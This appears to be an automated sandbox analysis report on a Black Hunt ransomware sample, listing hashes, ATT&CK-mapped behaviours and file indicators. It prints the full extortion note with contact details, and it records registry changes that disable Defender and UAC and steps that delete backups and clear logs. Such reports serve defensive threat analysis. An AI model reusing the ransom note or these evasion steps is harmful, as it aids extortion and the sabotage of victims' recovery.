7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:52

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General

Target

7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
Size

707KB
MD5

61a092fdf02265b7c91b9617d6ddbea9
SHA1

6c0d3390f4e0a90d9ca2acc7c88ae9fdd3344c65
SHA256

7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b
SHA512

7de8d955bf29f8dbdb7c0eb4a23f16734e64a35926a9c2316ec630c23285617b04f32ff816f5ae5ea26918c1a88b6c4f5898cf74fd5861344a37ce01356b4768
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1z82vnh:6uaTmkZJ+naie5OTamgEoKxLW6Ih

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> KCKWCLgsUYiSNb9q </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2552	fsutil.exe
2752	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2968	wevtutil.exe
3500	wevtutil.exe
1988	wevtutil.exe
1172	wevtutil.exe
2892	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2084	bcdedit.exe
2880	bcdedit.exe
3464	bcdedit.exe
3408	bcdedit.exe

Renames multiple (2904) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2736	wbadmin.exe
3608	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
856	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\A:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\B:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\J:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\P:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\N:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\W:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\G:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\K:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\Z:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\L:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\X:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\M:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\E:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\R:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\U:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\O:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\Y:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\S:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\V:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\I:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened (read-only)	\??\H:	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.console_1.0.300.v20131113-1212.jar	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\orb.idl	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File created	C:\Program Files\VideoLAN\VLC\hrtfs\#BlackHunt_Private.key	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\LICENSE	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annots.api	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.zh_CN_5.5.0.165303\feature.properties	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\org-openide-util-lookup_zh_CN.jar	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-tools.xml	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Guyana	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File created	C:\Program Files\VideoLAN\VLC\lua\playlist\#BlackHunt_Private.key	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Regular.otf	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\1047x576black.png	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Mazatlan	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\MANIFEST.MF	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPBluHandle.png	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-util.xml	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\content-types.properties	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.reconciler.dropins.nl_ja_4.4.0.v20140623020002.jar	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-application-views.xml	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\META-INF\#BlackHunt_Private.key	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\AST4	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\vlc.mo	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\Center	7b774fa3822192cf2fa3e84013e51b77756cf558bb5441db1922bca35d418d4b.exe
